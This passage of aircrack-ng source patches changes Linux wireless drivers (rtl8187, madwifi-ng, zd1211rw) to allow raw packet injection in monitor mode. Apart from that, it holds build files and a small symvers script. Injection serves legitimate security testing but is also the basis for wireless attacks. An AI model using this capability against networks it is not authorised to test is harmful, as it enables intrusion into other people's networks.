wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_tx.c 2007-06-08 23:30:47.000000000 +0200 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -397,7 +402,7 @@ /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -432,7 +437,7 @@ /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); @@ -446,7 +451,7 @@ /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); @@ -458,13 +463,14 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -481,14 +487,14 @@ dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_wx.c 2007-06-08 23:30:47.000000000 +0200 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -281,7 +282,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +292,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +315,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +327,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +341,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +419,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +431,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +471,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_orig/ieee80211/Makefile rtl8187_rawtx/ieee80211/Makefile --- rtl8187_orig/ieee80211/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Makefile 2007-05-27 10:47:26.000000000 +0200 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_orig/Makefile rtl8187_rawtx/Makefile --- rtl8187_orig/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/Makefile 2007-05-26 10:39:10.000000000 +0200 @@ -0,0 +1,36 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_orig/symvers rtl8187_rawtx/symvers --- rtl8187_orig/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/symvers 2007-05-26 10:39:22.000000000 +0200 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. aircrack-ng-1.2-beta3/patches/old/madwifi-ng-r1526.patch0000644000000000000000000000176210761053203021257 0ustar rootrootdiff -ur madwifi-ng-r1527/ath/if_ath.c patched_madwifi-ng-r1527/ath/if_ath.c --- madwifi-ng-r1527/ath/if_ath.c 2006-04-24 01:56:00.000000000 +0200 +++ patched_madwifi-ng-r1527/ath/if_ath.c 2006-04-24 18:55:24.000000000 +0200 @@ -2246,6 +2246,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2262,7 +2263,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the card waits for acknowledges... + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.2-beta3/patches/old/madwifi-ng-r1983.patch0000644000000000000000000000174310761053203021265 0ustar rootrootdiff -ur madwifi-r1983/ath/if_ath.c patched-madwifi-r1983/ath/if_ath.c --- madwifi-r1983/ath/if_ath.c 2007-01-21 00:09:36.140625000 +0100 +++ patched-madwifi-r1983/ath/if_ath.c 2007-01-21 00:11:01.984375000 +0100 @@ -2299,6 +2299,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2315,7 +2316,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.2-beta3/patches/old/zd1211rw_inject_2.6.22.patch0000644000000000000000000012736510761053203022126 0ustar rootrootdiff -Naur linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_mac.c linux-2.6.22/drivers/net/wireless/zd1211rw/zd_mac.c --- linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_mac.c 2007-08-09 15:37:14.000000000 +0200 +++ linux-2.6.22/drivers/net/wireless/zd1211rw/zd_mac.c 2007-08-23 22:51:27.000000000 +0200 @@ -156,8 +156,17 @@ static int reset_mode(struct zd_mac *mac) { struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); - u32 filter = (ieee->iw_mode == IW_MODE_MONITOR) ? ~0 : STA_RX_FILTER; - return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter); + struct zd_ioreq32 ioreqs[] = { + { CR_RX_FILTER, STA_RX_FILTER }, + { CR_SNIFFER_ON, 0U }, + }; + + if (ieee->iw_mode == IW_MODE_MONITOR) { + ioreqs[0].value = 0xffffffff; + ioreqs[1].value = 0x1; + } + + return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs)); } int zd_mac_open(struct net_device *netdev) @@ -192,7 +201,13 @@ goto disable_rx; housekeeping_enable(mac); - ieee80211softmac_start(netdev); + netif_carrier_on(netdev); + ieee80211softmac_start(netdev); + if(!netif_queue_stopped(netdev)) + netif_start_queue(netdev); + else + netif_wake_queue(netdev); + return 0; disable_rx: zd_chip_disable_rx(chip); @@ -825,6 +840,7 @@ struct ieee80211_txb *txb, int frag_num) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); int r; struct sk_buff *skb = txb->fragments[frag_num]; struct ieee80211_hdr_4addr *hdr = @@ -848,7 +864,10 @@ cs->tx_length = cpu_to_le16(frag_len); - cs_set_control(mac, cs, hdr); + if(ieee->iw_mode == IW_MODE_MONITOR) + cs->control = ZD_CS_MULTICAST; + else + cs_set_control(mac, cs, hdr); packet_length = frag_len + sizeof(struct zd_ctrlset) + 10; ZD_ASSERT(packet_length <= 0xffff); @@ -904,7 +923,11 @@ ieee->stats.tx_dropped++; return r; } - r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); + + if(ieee->iw_mode == IW_MODE_MONITOR) + r = zd_usb_tx_inject(&mac->chip.usb, skb->data, skb->len); + else + r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); if (r) { ieee->stats.tx_dropped++; return r; @@ -924,6 +947,8 @@ u8 rt_rate; u16 rt_channel; u16 rt_chbitmask; + u8 rt_antsignal; + u8 rt_antnoise; } __attribute__((packed)); static void fill_rt_header(void *buffer, struct zd_mac *mac, @@ -937,7 +962,9 @@ hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr)); hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) | (1 << IEEE80211_RADIOTAP_CHANNEL) | - (1 << IEEE80211_RADIOTAP_RATE)); + (1 << IEEE80211_RADIOTAP_RATE) | + (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) | + (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE)); hdr->rt_flags = 0; if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256)) @@ -951,6 +978,9 @@ hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ | ((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) == ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK)); + + hdr->rt_antsignal = status->signal_strength; + hdr->rt_antnoise = stats->noise; } /* Returns 1 if the data packet is for us and 0 otherwise. */ @@ -1057,7 +1087,8 @@ const struct rx_status *status; *pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status)); - if (status->frame_status & ZD_RX_ERROR) { + if (status->frame_status & ZD_RX_ERROR + || status->frame_status & ~0x21) { struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); ieee->stats.rx_errors++; if (status->frame_status & ZD_RX_TIMEOUT_ERROR) diff -Naur linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_mac.c~ linux-2.6.22/drivers/net/wireless/zd1211rw/zd_mac.c~ --- linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_mac.c~ 1970-01-01 01:00:00.000000000 +0100 +++ linux-2.6.22/drivers/net/wireless/zd1211rw/zd_mac.c~ 2007-08-23 22:26:08.000000000 +0200 @@ -0,0 +1,1352 @@ +/* zd_mac.c + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + */ + +#include +#include +#include +#include +#include +#include + +#include "zd_def.h" +#include "zd_chip.h" +#include "zd_mac.h" +#include "zd_ieee80211.h" +#include "zd_netdev.h" +#include "zd_rf.h" +#include "zd_util.h" + +static void ieee_init(struct ieee80211_device *ieee); +static void softmac_init(struct ieee80211softmac_device *sm); +static void set_rts_cts_work(struct work_struct *work); +static void set_basic_rates_work(struct work_struct *work); + +static void housekeeping_init(struct zd_mac *mac); +static void housekeeping_enable(struct zd_mac *mac); +static void housekeeping_disable(struct zd_mac *mac); + +static void set_multicast_hash_handler(struct work_struct *work); + +static void do_rx(unsigned long mac_ptr); + +int zd_mac_init(struct zd_mac *mac, + struct net_device *netdev, + struct usb_interface *intf) +{ + struct ieee80211_device *ieee = zd_netdev_ieee80211(netdev); + + memset(mac, 0, sizeof(*mac)); + spin_lock_init(&mac->lock); + mac->netdev = netdev; + INIT_DELAYED_WORK(&mac->set_rts_cts_work, set_rts_cts_work); + INIT_DELAYED_WORK(&mac->set_basic_rates_work, set_basic_rates_work); + + skb_queue_head_init(&mac->rx_queue); + tasklet_init(&mac->rx_tasklet, do_rx, (unsigned long)mac); + tasklet_disable(&mac->rx_tasklet); + + ieee_init(ieee); + softmac_init(ieee80211_priv(netdev)); + zd_chip_init(&mac->chip, netdev, intf); + housekeeping_init(mac); + INIT_WORK(&mac->set_multicast_hash_work, set_multicast_hash_handler); + return 0; +} + +static int reset_channel(struct zd_mac *mac) +{ + int r; + unsigned long flags; + const struct channel_range *range; + + spin_lock_irqsave(&mac->lock, flags); + range = zd_channel_range(mac->regdomain); + if (!range->start) { + r = -EINVAL; + goto out; + } + mac->requested_channel = range->start; + r = 0; +out: + spin_unlock_irqrestore(&mac->lock, flags); + return r; +} + +int zd_mac_init_hw(struct zd_mac *mac, u8 device_type) +{ + int r; + struct zd_chip *chip = &mac->chip; + u8 addr[ETH_ALEN]; + u8 default_regdomain; + + r = zd_chip_enable_int(chip); + if (r) + goto out; + r = zd_chip_init_hw(chip, device_type); + if (r) + goto disable_int; + + zd_get_e2p_mac_addr(chip, addr); + r = zd_write_mac_addr(chip, addr); + if (r) + goto disable_int; + ZD_ASSERT(!irqs_disabled()); + spin_lock_irq(&mac->lock); + memcpy(mac->netdev->dev_addr, addr, ETH_ALEN); + spin_unlock_irq(&mac->lock); + + r = zd_read_regdomain(chip, &default_regdomain); + if (r) + goto disable_int; + if (!zd_regdomain_supported(default_regdomain)) { + dev_dbg_f(zd_mac_dev(mac), + "Regulatory Domain %#04x is not supported.\n", + default_regdomain); + r = -EINVAL; + goto disable_int; + } + 